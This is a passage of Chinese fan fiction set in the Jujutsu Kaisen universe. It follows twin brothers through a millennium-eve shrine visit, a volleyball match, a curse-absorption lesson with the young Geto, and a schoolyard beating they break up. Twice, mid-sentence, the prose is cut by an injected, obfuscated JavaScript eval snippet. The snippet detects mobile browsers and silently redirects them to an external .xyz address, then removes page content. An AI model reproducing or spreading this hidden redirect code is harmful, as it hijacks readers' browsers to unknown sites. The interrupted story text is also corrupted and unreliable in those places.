35.迎着崭新的黎明 “真的是一点咒力都没有诶。”星海必须凑到弥山的耳边说话才行,现在已经即将进入跨年夜倒计时了,周围躁动的人群里开始有人带头倒数。最初的混乱过后,已经形成了统一的声浪。 他们穿过朱红的鸟居,两侧挂着上下两排红灯笼。靠近本殿的石阶上和院落里的人已经近乎饱和,所以队伍前行的速度慢了下来。今年的冬天比往年还要冷,但仍有不少人选择穿着和服来参加初诣,可能是出于虔诚信仰的自我要求,又或是想在1999年的最后一个夜晚留下最美的回忆,以崭新的面貌迎接新世纪。 往前挪动都很困难,更不要说移动到院落边缘卖绘马和护身符之类的地方。 弥山和星海没有手机,只能听着人群的倒数声等待。 巨型烟花在身后的夜空上放个不停,忽然沸腾起来的欢呼声让弥山有些茫然,他看着同样有些不知所措地星海,拉住了他的手。 在1999年的最后三秒,弥山在庆迎未来的时间里大声喊道:“生日快乐!!” 他的声音和祝福新年快乐的欢呼融合在了一起,可星海还是完完整整地听到了他的祝福。 “笨蛋,”他扶住弥山被人群挤得歪歪斜斜的身体,拉到了自己身边,“已经是第二天了。” 就将这些庆贺声当成他们降生的赞歌。 “哈哈!”弥山笑得开怀。 等轮到他们走到本殿前参拜的时候已经又过去了一个多小时,净手、向赛钱箱投了两枚5元硬币、摇铃、拍手。 弥山双手合十,没有许下任何愿望。 他静静等待着星海睁开眼,然后一起走去抽御神签。 “......” “写的什么?” 弥山合上签文,放到自己口袋里:“是大吉!汉字好多读起来太麻烦了,我们上山吧!” 星海任凭他拉着自己穿过人群,踏上了前往千本鸟居的石阶。 很多人只是前来参拜,没有上山的意思,所以在穿越错落有致的密集鸟居组成的通道时已经基本上没有什么人了。只有靠近山脚一段路的鸟居两侧的石灯笼被改装成了电灯,照亮了前路。 再往上就只能看见几道手电筒的灯光在缓慢向上移动,他们没有打手电,只身投入黑暗之中。 “他说那是工作......帮别人买吃的吗?那是什么工作?” “谁啊?” “那个天与咒缚。” 星海沉吟了一会,然后问:“他给谁买吃的?” “一个穿着和服的漂亮女人。难道她的赏金很多吗?” 脱离家族的咒术师除了做普通的工作,就只能去当诅咒师了吧。毕竟专业对口,而且来钱很快,干一次能潇洒地活很久。 “他看起来准备干掉那个女人吗?” 弥山回想了一下,他觉得禅院甚尔并没有用刀捅进女人脑子里的意思:“那女人叫他甚尔诶。” “那就是在当小白脸吧,”星海面无表情地说,“听起来他长得挺高,天与咒缚的肉|体就不说了,只要不是丑得惨绝人寰或者不会说话,简直太适合这个工作了。” “诶!?我还以为他会去当诅咒师。” “他哪有本事诅咒别人......说不定也还在接杀死术师的工作,总之不是什么正经工作。” 弥山留下一道长长的鼻音:“嗯——好厉害啊!” 在有亮光的地方,随处可见的小狐狸石像脖子上围着彩色的衬布,憨态可掬。在未被灯光照射的地方,它们更像是真正的森林使者,在黑暗中静静注视着每一个经过的人类。 神社里很干净,一点诅咒的痕迹都没有。 他们难得见到这么“干净”的地方,接下来的两个小时虽然只是重复向上攀登的行为,可丝毫不觉得乏味。 偶尔有一些岔路通向半山腰的各种小神社,能看到一些比较虔诚的信徒前去参拜。 如果说人类的负面情绪催生出了咒灵,那么这些虔诚的祈愿能否孕育出真正的神明呢?说起神,在咒术界最接近神的存在就要属天元大人了。 弥山对天元大人的理解有限,但祂只是活得够久,并非真正的神明。尽管拥有“全知的术师”这一尊称,但......仅仅知道又有什么用?说到底,神明应该是什么样子的呢?是高高在上承受着信徒的愿力、倾听无数人的祈求却无动于衷吗? 因为不相信神明的存在,所以弥山从不许愿。 快到山顶的时候,星海突然叫了他的名字:“弥山。” 弥山警惕了起来,就像是被踩住尾巴的猫:“干、干什么?为什么突然叫名字?” 他有一种很麻烦的预感。 “你想去找妈妈吗?” 他们从祖父祖母和无数流言蜚语中构筑起了“妈妈”的形象。弥山的记性很好,但对妈妈的印象还没有小井深刻。 不知其意义,自然谈不上想或不想。 星海低下头,瞪大眼睛,无数次想要将视线聚焦却总以失败告终:“应该想的。” 弥山根本不打算搭理他。他抬起头,正上方的鸟居间隙被光秃秃的树枝随意填满,偶尔有过于明亮的星星落入他的眼中,又在远方烟花的光焰中被削去了颜色。 “别骗人啊,”他噘着嘴,语气平淡地说,“对我说谎有什么意义,大骗子星海。” 似乎是觉得还不够,他又提高了音量:“大骗子——星海是大骗子!!!” 他提前侧头躲过了星海“恼羞成怒”挥来的拳头,好在星海并没有继续跟他计较。 剩下的话弥山没有说出口。他们说“妈妈”是家族的耻辱,为了可笑的理由抛弃了家族的荣誉,连姓氏都抛弃了。但是弥山觉得星海和妈妈很像。不是指外表——当然没准他们的确长得很像也说不定,而是指某些通过血脉凿刻在基因中的东西。 但显然,星海没有妈妈那么勇敢。 “......” 星海沉默着,他发现自己的内心无动于衷。 为什么偏偏他们是被连在一起的半身呢?他们的一切都是共享的,甚至连灵魂都要相互分享,不论星海去哪、想做什么,弥山总能跟上他。 既然都把他们的人生、他们的未来死死拴在了一起,为什么不能对他们再温柔一点......为什么不对他再温柔一点?给他一颗完整的“人心”就那么难吗? 如果只能施舍这么多的人性,倒不如像弥山一样全部收走——如果这世上真的有神明......如果妈妈真的爱过他们的话,一定将所有的偏爱都给了他的兄弟,而不是他这个什么都只有“一半”的半吊子。 “好冷!” 弥山呼出一口白色的哈气,他们花了比想象中更多的时间才来到了山顶,这里当然也有可以参拜的神社,所以两人又恭敬地参拜了一次。 他们在绘马架间穿行,翻看着各种各样的愿望与理想,不过谁都没有想要亲自挂上狐狸绘马的意思。 毕竟是跨年夜,来到最顶上的人比他们预想的要多了不少,大家好不容易爬上来自然不是只为了拜一拜神社,大概都想在这里等着,看能不能见到新世纪的第一缕日出。 令人感到意外的是,他们又在这里见到了禅院甚尔和他的“工作”。男人背着穿和服的女性走完了最后一节石阶,厚实的大衣披在他们的背上,几乎要完全将他背上的女性藏起来。 弥山扯着星海给他形容了一下他们现在的状态,以及禅院甚尔给她买各种热乎的暖胃小食时的表情、说了什么话,事无巨细地描述着,就像他看黄金档电视剧上头的时候那样,趴在星海的肩头将电视里的人干了什么事一桩一桩地讲清楚。 星海怀疑弥山添油加醋地增加了很多不必要的、真实性存疑的细节,但考虑到禅院甚尔的工作,他只觉得这个人恐怖如斯。 “果然禅院家不是什么好东西。”憋了半天,他只说出这么一句。 能把禅院甚尔这么强大的人的自尊心全都磋磨干净,是个人都要骂一句有眼无珠,总感觉未来会咎由自取。算了,御三家都一个德行,一起骂一骂吧。 “这句话我超赞成。”弥山贴在星海身边取暖。 他们找了一个人少、视野又开阔的地方静静等待黎明的到来。 没有攒动的人头,入目所见只有满山的枯枝和山下被常青树种包围的本殿,以及那蜿蜒着贴合山体隐入林间的朱红鸟居长廊。 凌晨的山顶空气带着植被凛冽的冷香,与城镇的早晨非常不一样。 星海抬着头,眼睛一眨也不眨地盯着天空。 他察觉到了头顶上颜色的变化,最终被刺破矮云的朝阳直射。 弥山安静得有点不像他,也许他看到的景色比自己看到的美丽数百倍吧。 平台上的其他人代替他们发出了惊呼,为这难得一见的绝景而欢腾起来。 为了崭新的黎明。 —— 1月份开学之后,他们还被拉去给学校的排球部充当应援队。听茂他们七嘴八舌解释了半天,说他们学校好不容易闯进了全日本中学排球选手权大会的全国大赛,秋季预选赛好像是在去年9月份左右进行的,那个时候弥山和星海刚刚办好入学手续,根本没有关注过这些。 于是他们莫名其妙地被拉上了应援车,在车上睡了一觉后发现醒来已经到东京体育馆了。 “涩谷?” “是涩谷呢。”茂推了推眼镜,他已经在额头上绑好了水海道中排球部的应援绑带,手中提着装满了应援棒的袋子。 他们学校的比赛时间在下午,现在已经快要到可以入场的时间了。他们这些应援队伍的成员多少都和排球部沾亲带故,不是同学就是家属。茂虽然沉迷灵异研究,但和他同校的哥哥却是排球部主力,所以他拉上了弥山和星海明目张胆地“逃课了”。 这是他们第一次来到涩谷。跟水海道简直不是一个世界的存在,这里的高楼和商店橱窗摆着时尚最前沿的新鲜玩意,不知道走在大街上的哪个人的穿搭能够成为千禧年最新的潮流。 “人好多啊。”每一条人行道上、每一栋楼里都仿佛挤满了人。 进了体育馆,他们在二楼的观众席帮忙布置应援席,挂起印着排球部口号的横幅,吹奏部来帮忙应援的学生们正在调试着乐器。 “你们什么都不用做,只要跟着喊口号就好!”茂忙前忙后,比赛开始后更是直接冲到最前面去大声给哥哥加油。 星海眯眼,勉强能看见应援棒上印着的字迹。 体育馆有一股镇痛剂的味道,弥山和星海小时候对这个味道再熟悉不过了。星海听着运动鞋在干燥的球场上摩擦发出刺耳的咯叽声,还有很多排球击打在手臂、地面和墙面上的声音。纷繁复杂的叫喊让他感到一阵心安,仿佛就这样被声音的浪潮包围能够磨平他对这个模糊世界的陌生感。 哪怕弥山不在他的身边也不会被心跳声夺去听觉。 弥山在一层的卫生间门口追上了小井。 “你离开我们家之后还有和妈妈联系过吗?”他开门见山地问道。 “你是......弥山?”工作中的小井突然被人拦住,当她看见覆盖着小半张脸的眼罩时才认出了这个孩子。 “你都长这么大啦!星海还好吗?” 弥山说他很好。不冷不热的态度让小井从回忆中抽身而出,眼前的这个孩子还记得她,那可是他们两岁时候的事情了,居然现在还记得吗?不过,理鸥小姐的话...... “我听说那次事故之后去找过她,但是听说她已经搬去了北海道。最近已经很久没有联系了。” “那,她做什么工作的呢?” 小井突然对他生出了一丝同情。就像她第一次在日照家见到这两个孩子的时候一样,怜爱之情仍旧喷涌而出。日照先生在那场事故中当场死亡,剩下的两个幼子听说被理鸥小姐家的人接走了,没想到他们居然没有和理鸥小姐一起生活吗? “倒是有听她说过想要开一间自己的事务所......不过那也是十多年前的事了。” “小井,请过来帮一下忙。”有个粉色头发的男人来到这里叫小井回去工作,她只得匆匆回应。 “好的,虎杖先生,我马上就回去,”小井再次向弥山道谢,为了他们救下他的儿子阿响,“我知道你们......谢谢你们救了阿响。他今年马上就要上初中了,如果没有你们,当年他就要溺死在那条河里......我可能永远也不会原谅我自己了。” 弥山看她的最后一眼,那个眼神,小井从未明白过究竟是什么意思。 他的视线越过小井,落在了来叫她回去工作的粉发男人身上。除了发色很吸引人之外,没有什么异常的地方。 弥山收回视线,回到二楼的观众席,神色如常地坐在了星海旁边的位子上。 很遗憾,水海道中的男子排球部虽然拿到了他们县唯一的名额冲进了全国大赛,但还是在东京体育馆完成了一轮游。比分拉得不算大,茂在排球部队员向观众席鞠躬感谢应援的时候一把鼻涕一把泪地说着“打得很好”。 上车的时候,星海问弥山在想什么。 弥山其实并没有想什么很复杂的事情。他看见小井,鬼使神差地就去问了关于妈妈的事情。满打满算小井在他们家待了不过两年,而且离开时已经是十年前,还和妈妈有联系的可能性少之又少。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149663|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过得到了她可能去过北海道的传闻,也只是不知真假、聊胜于无的情报。 “嗯,”他靠在星海的肩膀上准备入睡,“排球比赛不会死人呢。” 星海翻了个白眼。 到了三月中旬,公寓楼下绿色的小天地重新焕发了生机,他们也上完了第三学期,即将迎来春假。 有老师找过星海谈论他的成绩,又顾及着他的家庭情况没有说太多。 星海的每一门期末考试都低空飞过,并非错题很多,实在是他写字太慢。辨认那些黑蝌蚪大小的文字组成的题目实在有些困难,没有弥山在一旁帮忙,他的答题速度下降了一大半。 一年级的时候还好,等到了三年级学业加重,这种速度肯定不能让他轻易达到及格线了。弥山其他科目的成绩不上不下,唯有国文一骑绝尘。 星海默默收拾好书包,走出校门口的时候对弥山说:“听你的吧。” 弥山翻看着他的笔记本,上面是他从五条家离开前记下的有关术式反转的内容:“不着急,还有两年呢。” “走路别分心。” “不会把你带沟里去的!” 随着他们结伴而行的身影远去,教室里还有几个没有离开的学生。 茂疑惑道:“为什么?” 被质疑的同伴挠头:“你不觉得他们很奇怪吗?他们根本不主动和别人说话,就算谈论流行的东西也只会被问那是什么,除了黄金档的电视剧,其他的什么都不知道!” “就、因为这些?他们没有手机,可能平时不关注这些吧?” “......茂,你没发现大家都不太喜欢他们吗?只有你和班长一直围在他们身边。” “还是因为佐佐木老师的事情?这跟他们有什么关系?你们这是迁怒,你们怎么知道佐佐木老师就真的是无辜的?” “哈,眼镜仔现在已经要分出‘你们’、‘我们’了?谁知道他们说的是不是实话?总之,如果你要叫上他们的话,我们是不会去的。装模作样的怪胎们,谁会喜欢和他们玩啊!” 弥山和星海在回家的路上遇到了夏油杰。 黑发的孩子头发长了一点,不过那个刘海还是老样子。他独自坐在一家便利店的门口,看着街上来来往往的人,不知道在想什么。中学的放学时间和小学不太一样,所以这些日子他们一直没有碰到过。 “真是好深沉的表情呐。” 夏油杰抬头,见到了弥山和星海站在面前。似乎是病入膏肓之人找到了对症的良药,他顷刻间就站了起来,抓住了弥山的衣角:“我能去你们家吗?我有事情想问你们!” “诶——在这问不行吗?我们家很小的啊。”其实是扔了很多脏衣服还没来得及收拾。 这个时候,弥山才发现夏油杰的衣服里鼓起了一小块。他小心翼翼地托着那个鼓包,弥山仿佛听见了细小的猫叫声。 一只雪白的小猫头从夏油杰的领子里翻了出来,毛发长长的,一双蓝眼睛瞪得老大。 “不许养!!”星海大声否决。 弥山已经将小猫抱了过来,皱着眉用理所当然的表情看着他:“没有人说要养啊,而且就算带回去也只会是我来照顾......照顾一个星海已经很麻烦啦,我可没有耐心再照顾一个。” 夏油杰解释道:“我只是看到它被流浪狗逼到了角落里,准备给它换一个地方。” 他家白天没有人,父母肯定不会同意养一只这样的小东西,夏油杰也没有时间和精力照顾它。 “......”星海闭上了嘴。 “有时间的话我会来看它的,”夏油杰笑眯眯地补上了一句,弥山越看越觉得他像个狐狸,“我可以去你们家吗?” 他开始利用自己的年龄优势,试图再次得到他们的纵容。他成功了。 这只小家伙被放到了公寓楼下的绿色小世界里,平日这里也有很多流浪猫来来往往。但它们基本想来就来,想走就走,只是偶尔回来睡一觉。 弥山将超市的购物袋放到桌子上,嚷嚷着想要先去洗澡。星海熟门熟路地收拾东西,夏油杰去厨房帮他。弥山在卧室和浴室之间来回走了几趟才拿齐了换洗的衣物和毛巾。 现在才三月中旬,气温刚刚开始回暖。夏油杰听见星海小声嘟囔了一句“丢三落四”,他顺势抬头,正好看见了摘掉右眼眼罩的弥山。 那片狰狞的疤震慑住了他一秒,随后他就神色如常地低下了头,将手中的小葱递给星海。 很快就有水声传来,夏油杰乖乖坐在餐桌旁的椅子上,星海瘫在沙发里,将手臂搭在眼睛上。 “......发生什么事了吗?你看起来很累。” “没什么,”星海居然破天荒地回答了他,“只是因为成绩的问题在发愁。” “诶!?” 他从胳膊中抬起头:“为什么这么惊讶?” 夏油杰顺着自己的直觉说:“感觉你们不像是会因为学习成绩发愁的类型。” 他们看起来更应该为咒灵、咒术师或者诅咒师之类的事情操心,因为成绩而心情不好......夏油杰不知道应该怎么形容自己的这种感觉,就像是他听说超人在为了晚上的咖喱鸡肉应该加咖喱粉还是咖喱块而发愁一样怪异。 “学生不就应该在乎成绩吗,”星海的声音遥遥传来,“成绩、同学、社团、电视节目、游戏。” “这么说是没错啦。” 夏油杰还是觉得有些奇怪。尽管星海说的每一条都是他们这个年龄的孩子每天的日常活动,可他们的生活中却不是只有这些。有人喜欢读书,有人喜欢在公园里骑车,他们也可能不在乎成绩,有的可能对社团根本不感兴趣。 星海说得好像是每天必须要完成的日常任务似的。 不知道弥山还有多长时间才能出来,夏油杰察觉到他和星海之间的气氛有些拘谨,主动提起:“有关【咒灵操术】,我......” 星海抬手制止了他:“有关咒术的事情不要问我,我不喜欢,也不想听。” 夏油杰闭上了嘴,有些懊恼。只剩下水声的客厅让人有些坐立难安,不过也让夏油杰又更多的机会观察这间公寓和沙发上的人。 客厅不大,和厨房是打通的,用餐桌隔开。沙发很长,有一个拐角,看上去很软和。没什么多余的东西和家具,只有头顶正上方一个电灯,花白的墙壁上没有悬挂任何照片、图片之类的装饰物。通向阳台的玻璃门关着,纱帘是最普通的米白色。 “想看电视自己开,等弥山出来做饭。” 这是星海对夏油杰最后的一点照顾,他起身拎着书包走进了卧室。 被丢在客厅的小孩安安静静地等待着。 36.匣子里的宝物 卧室里似乎更具有生活气息一些,夏油杰瞥了一眼,就规规矩矩地转过头不去看。去别人家做客的时候,不应该随便窥探主人的私人空间。他是个懂事的孩子,自然明白这样的道理。 弥山很快就出来了,他没有戴眼罩,擦着头发问:“嗯?想问什么?如果是咒术的问题,直接问我就好啦,星海不太喜欢这些。” 已经说得太晚啦,夏油杰心想。 “我想问【咒灵操术】,”他整理了一下语言,“我应该怎么完成‘吃’这个步骤呢?” 弥山打开冰箱挑选菜品,闻言回答道:“你的术式没有告诉你吗?” 夏油杰交叠着双手。他当然了解自己的术式最基本的使用方法,但“咒灵玉”、“吞下”这样的形容还是有些笼统。他倒是想亲自试一试,可课桌里的“史莱姆”在被他碰到的第一时间就炸开了。用弥山教他的说法,应该是被“祓除”了。 “那应该是咒灵等级太低了的缘故,”弥山不知道什么时候悄无声息地靠在了吧台上,单手撑着下巴,举着一颗番茄,“【咒灵操术】的等级算比较高的,也很少见,低等级的咒灵对你来说也只能用来填充数量而已。” 术式的等级是一个很抽象的概念,并不像咒术师或咒灵那样分明,但也很容易理解。从战斗方式来说,【咒灵操术】和普通的式神使都是通过“式神”来战斗的,普通式神使召唤式神的时候需要借助咒符,召唤出来的式神拥有的咒力和术者是一样的。但【咒灵操术】驱使的“式神”咒力与术者不同,也不需要任何召唤媒介。 【咒灵操术】能够收服的咒灵从数量、质量上来说都没有上限,术式等级就要高于普通的式神使。类似的还有禅院家的相传术式【十种影法术】,术者理论上来讲也算是式神使,但十影法的咒灵质量很高,术式等级自然不会低。 “还有一种可能,就是你用了太多咒力。” 弥山转动着那颗番茄,红色的果实像一个听话的球待在他的指尖。 “这就涉及到咒力操作啦,不是一朝一夕能够纠正过来的。” 夏油杰放下心来。他已经把他们班级里所有的“史莱姆”都清理干净了,但是每一次它们都直接在他手下炸开,因此他也从没有机会见到所谓的咒灵玉。 弥山根本没有想过夏油杰说的那些“史莱姆”其实并不算真正的咒灵,还属于诅咒范畴的东西自然无法使【咒灵操术】的能力完全显现。 “那......之前的‘那个’,我也可以收服吗?” 弥山已经开始起锅烧油,在噼里啪啦的声音中他反应过来夏油杰说的是那个被他祓除的准一级咒灵。 “当然可以,【咒灵操术】可是连特级都能收服的,不要小瞧它。” 但是,终归是和术师本人的实力挂钩。如果向上越过太多级别,即便有别人帮忙击败了咒灵,“收服”的过程也可能失败。 吃饭的时候夏油杰懂事地不再提起咒术相关的事情,但是他发现除此以外他没有什么可以和这对兄弟分享的事情。他最近每天最感兴趣的就是到处祓除“史莱姆”,放学之后会小心翼翼地望向小巷和背阴的地方,寻找区别于“史莱姆”的诅咒。 偶尔能看见像是超大号苍蝇一样的咒灵趴在路人肩膀上,但夏油杰不知道该怎么靠近,因此一直没有机会上手试试收服蝇头。 “你根本不用着急啊,”弥山和夏油杰走在路边,星海没有出来,“蝇头这样的咒灵就算收服了放出来也是当炮灰,是最普通的咒术师都能轻易祓除的东西。” 低等级的咒灵等到夏油杰的咒术师等级上去之后就可以免去降服仪式随意收服,想玩怪海战术根本不必急于一时。 “不过,如果你想试试的话倒也无所谓。”他是觉得收服蝇头还要用【咒灵操术】的降服仪式的话有点太暴殄天物,但是看着夏油杰有些跃跃欲试的样子,他也就没再说什么。 晚归的行人揉着脖子,突然感觉被迎面走来的孩子轻轻碰了一下。 “?”那人只是疑惑地看了弥山和夏油杰一眼,就继续向前走了。 弥山的手上已经抓住了一只正在嘤嘤叫的蝇头。 他把蝇头递给夏油杰,离得近了夏油杰觉得咒灵长得实在有碍观瞻:“就在这里吗?” 弥山说:“一般人又看不到咒术和咒灵。” 夏油杰伸出手尝试着发动了术式。亮起的晶蓝荧光照亮了他的脸庞,他能感觉到【咒灵操术】改变了构成蝇头的咒力的形态,将它们抽离、重新组合,最终变成了一个拳头大小的球体。 “在发光......” 夏油杰拿着咒灵玉,荧荧辉光映在他的眼睛中。 他看向弥山,比他高出一个头的少年翘起嘴角:“吃啊。” 夏油杰皱起眉,怎么看这个拳头大小的咒灵玉也不能直接吞下去吧?还是说它是入口即化的类型? 似乎是看出了他的为难,弥山沉下声音蛊惑道:“试试不就知道了吗?” 夏油杰也不知道自己是怎么回事,也许弥山天生就擅长这些吧,总之他仰头张嘴,将咒灵玉放进了嘴巴里。 舌面触及到那个球体的瞬间,难以言喻的味道瞬间涌入鼻腔,味蕾被刺痛了。与那晶莹剔透的外表不同,咒灵玉的味道超——级恶心。夏油杰下意识地想用舌头把它顶出去,却被人捂住了嘴巴。 咒灵玉不上不下地卡在喉咙口,反射性地呕吐反应让他的胃微微抽搐了起来。 弥山一手捂嘴,一手顺着夏油杰的脖子捋了下去。 那个球体就那么被吞进了肚子里。 捂住嘴巴的手刚一松开,夏油杰就跑到墙边疯狂地咳嗽起来,哪怕咒灵玉已经不在嘴巴里,可他还是觉得吸进肺里的每一口空气都带着那令人作呕的味道。 弥山就站在他身后,没有丝毫体贴的意思:“怎么样?试试看?” 夏油杰咳嗽得眼眶湿润,闻言大脑反应了两秒,才召唤出了刚才收服的蝇头。 小小的咒灵从不知名的地方来到了现实中,和夏油杰大眼瞪小眼。 “......好难吃啊。”他缓了半天才说道。 “这就是【咒灵操术】的降服仪式,你现在的喉咙太细了,这次是我帮你,只有你自己的话现在还吞不下去吧。”弥山摊手。他用术式稍稍帮了夏油杰一把,那个咒灵玉都快有成年人的拳头那么大了,这小孩对自己也是真的狠,听他说完居然直接就往嘴里塞。 夏油杰擦擦嘴,那股味道还是在他嘴巴和喉咙里挥之不去:“味道也很难闻。” 硬要说的话,就像是在臭水沟里泡了一个月的臭袜子,或者是擦完了呕吐物的抹布,总之可以用一切恶心的形容来描述咒灵玉的味道。 “高等级的咒灵味道会好一些吗?”他带着一些希冀问道。 弥山想要弹开那个蝇头,但害怕直接将它祓除了,毕竟是夏油杰费了好大劲才吞下去的:“我不知道诶。所以我说你不用着急,根本没必要为了收服蝇头这种东西用【咒灵操术】。以你的咒力量和天赋,仅凭咒力操作就能解决很多低等级咒灵了。” “不过,等级越高的术式似乎都有不小的副作用,”他想了想,继续说道,“我们族里有个继承了相传术式的小孩,他想要用那个术式得好好学学数学。至于杰嘛,看起来只能牺牲自己的味觉啦!” 夏油杰觉得这也没什么,他只是在吞下咒灵玉的时候需要忍受恶臭的味道,又不是味觉失灵了,大可以吃完咒灵玉之后立刻去用好吃的东西压下那股味道。 “那你的术式呢?你连那个咒灵都能祓除,肯定很厉害吧?” “哼哼,”弥山露出理所当然的笑容,他从没在星海面前这样笑过,“那当然啦!” “咒术可是很有意思的!” 星海站在公寓窗前,看着夏油杰的身影消失在路口,弥山回身,抬头时正好撞上了他的视线。星海没有丝毫偷窥被发现的羞窘,甚至连俯视的角度都没有丝毫变化。 弥山知道他看不清自己的表情,所以肆无忌惮地扯着嘴角,拉出讥嘲的笑容。 星海死死皱着眉头,猛地拉上了窗帘。 —— 春假只有短短两周,等到弥山和星海再回到学校的时候,他们已经成为了二年级3班的一员。此时已经进入了樱花季,学校主楼门前的广场上栽满了樱花树,此时正是漫天飘花的时节。 刚开学的时候,班长兼烹饪部的副社长和他们说了社团招新的事情。烹饪部的招新策略非常简单,只要把热气腾腾新鲜出炉的小点心搬到广场上就大功告成了。一般来说根本不需要颁发传单之类的工作,因为香气就是他们最好的广告。但是今年他们的场地在比较靠角落的位置,所以还是需要抽出人手去发宣传单。 不论是照看摊位还是发宣传单,都不是弥山和星海的任务。他们负责的是将烤好的小点心从烹饪部的教室搬到广场上来。 “那,就拜托弥山同学和星海同学啦。”班长双手合十表达感谢。 烹饪部以女孩子居多,遇到他们两个自然要好好利用一下啦。 弥山和星海自然没有异议,单纯的体力劳动比与人沟通要简单得多。弥山很佩服她们可以微笑着和每一个路过的新生说“要来烹饪部看看吗”,想想就觉得嘴角僵硬。 他们端着两盘盖着保鲜膜的点心下楼的时候,听到了无人的走廊尽头传来的踢打声。弥山举着托盘径直走过,星海微微侧头。 他们一前一后下了楼,找到了被分配到角落里的烹饪部。 “谢谢你们,帮大忙了!”班长正在忙前忙后地整理立牌和横幅。 弥山时不时地偷吃小点心,他们坐在立牌后面的阴影里,等着下一次再去搬东西。嘈杂的环境会影响星海对周围的判断,但因为弥山就在身旁,所以他可以尽情欣赏那些此起彼伏、形形色色的声音。 风吹得很惬意,弥山拍掉手中的点心渣,感受到了肩头的重量。 星海很少这样靠在他身上,看来他是真的很“开心”。 他们正在学着如何正常地依赖对方。 不是通过恐惧地拥抱,不是通过拳脚相加。现在来看进展还不错。 当茂和他们说起被孤立的事时,他们意料之中地露出了疑惑不解的表情。这种不冷不热的态度对他们来说是最舒适的状态,如果每个人都像茂这样不管不顾地靠过来的话,他们也会觉得很苦恼。 这下连茂都不得不承认这对兄弟就是很奇怪。 “但是,你们没有朋友啊,”他说道,“这样不寂寞吗?” “啊、朋友......那个是必须要有的东西吗?” 他们没有可以分出来的多余感情给尝试主动靠过来的人,也不愿意接受别人递过来的真心。 星海拒绝那些东西,弥山不需要。 他人视若珍宝,但对于他们是接过来也无妨、随手丢弃也无所谓的东西。 他们能够明白“真心”的价值,但究竟应该将之放入“代价”还是“恩赐”之中呢?天平的另一端又能够放上什么才能停止摇摆呢? 暧昧不清的重量总是会让人心生疑虑。 “听说了吗?三年级的那个人转学了。” “嘘,别被他们听见......反正他们也要毕业了,再忍忍吧。” “......为什么这种人渣也能好好地活着啊!” 提着垃圾路过操场背后的小巷时,熟悉的声音传了出来。 “有血的味道。”星海轻声说。 夹杂着痛苦的闷哼、坚硬的腿骨踢打在腹部的钝响、手掌直白地抽击皮肤的声音涌入他的耳朵。 弥山撇嘴:“堵在垃圾桶前面了。” 这些声音他们再熟悉不过。 “......不论在哪,总会遇见这样的事情。” “无聊。” 弥山拎着垃圾袋走到了操场后面阴暗逼仄的地方,穿越这里就是垃圾桶。其实他们可以从操场的另一侧绕过去,但那样不是太麻烦了吗?围在小巷子里的四五个人同时回头,看着突然出现的不速之客。 “是二年级的双胞胎......他来这干什么?” 弥山大致算了一下他和垃圾桶之间的距离,大概有三十多米的距离。他又稍微评估手中垃圾袋的韧性和牢固性,凭感觉直接将它向天上扔了出去。 甚至不需要使用术式,在所有人的注视下,那袋垃圾像是被投入篮筐的篮球一样,精准地落入了敞开口的垃圾桶中。 “好!结束!”弥山拍拍手,转身就走。 巷子里的不良们默默看着他离开,忽然有人噗嗤一声笑了出来。他抓起被围在中间拳打脚踢的人,用恶心的语气说道:“喂,你们不是同班同学吗?就那么被人抛下了啊!哈哈!瞅你这幅悲惨的模样!” 其他人重新围了上来,脚下是不知何时被踩碎的眼镜玻璃,框体已经完全折断变形,没有修复的可能。 低着头的人用双手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157838|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徒劳地护着脸,可那些人总能找到他顾及不到的地方,让拳头如雨点般落下。 弥山拐了回去,向前走了几步,发现星海还站在原地。 “......搞不懂你。”他嘟囔了一句。 茂死死咬着牙,这些人很有经验,他们打到的地方都是腹部、胸口这些不容易被发现的地方,力道也掌握得刚刚好,让人痛不欲生的同时不至于损坏掉一两个器官。看来这才是他们能在这个学校生存的秘诀。 他没有得罪过什么人,硬要说的话,也就是上次在路过二楼的男厕所时在门外喊了一句教导主任的名字,将厕所里的人——也就是这几个正在围殴他的人吓走了。三年级的学长第二天开始没再来过学校,之后就听说他转学了。 所以作为替代品,茂成为了下一个。 这种事情,只要是存在人类的地方就会发生。或早或晚,发生在各个年龄段的人们身上。个体对个体的剥削与霸凌,群体对群体的压迫与残害,群体对个人的摧残与欺辱。 有形的、无形的,只要是有人类这种生物活动的地方.......这种事情就永远不会消失! 咚! 落在身上的拳头乱了起来,很快身上就只剩下绵延的钝痛,没有再因为捶打而反射性地瑟缩。 嘲笑的声音变得乱七八糟,茂从嗡鸣声中勉强摸出了几个字:“......干什么!?” 弥山举起拳头:“我觉得不爽,还需要理由?” 鞋底踩上碎玻璃的声音同样辗磨着茂的鼓膜。他睁开一只眼睛,看到他去年的前桌抡圆手臂将其中一个人揍飞了。 “别闹得太大。”有人站在巷口,茂认出了星海的声音。 弥山揪着一个人的领子,借着扫腿的力量将他在半空中转了几圈,扔向了不远处:“谁跟他们动真格啊......又死不了。” “你、你们!?” 似乎是终于认清他们之间实力悬殊,这群人里唯一还站着的一个打起了退堂鼓。 “少给别人添麻烦啊。”弥山的脸藏在阳光照不到的地方,看着跑走的那个人平静地威胁。 他下手比这群人重多了,最开始被打飞出去的看起来已经不省人事,剩下的不是抱着脑袋就是捂着胳膊倒在地上哀嚎。 弥山向地上的这几个歪歪头:“这样就成了吧?” 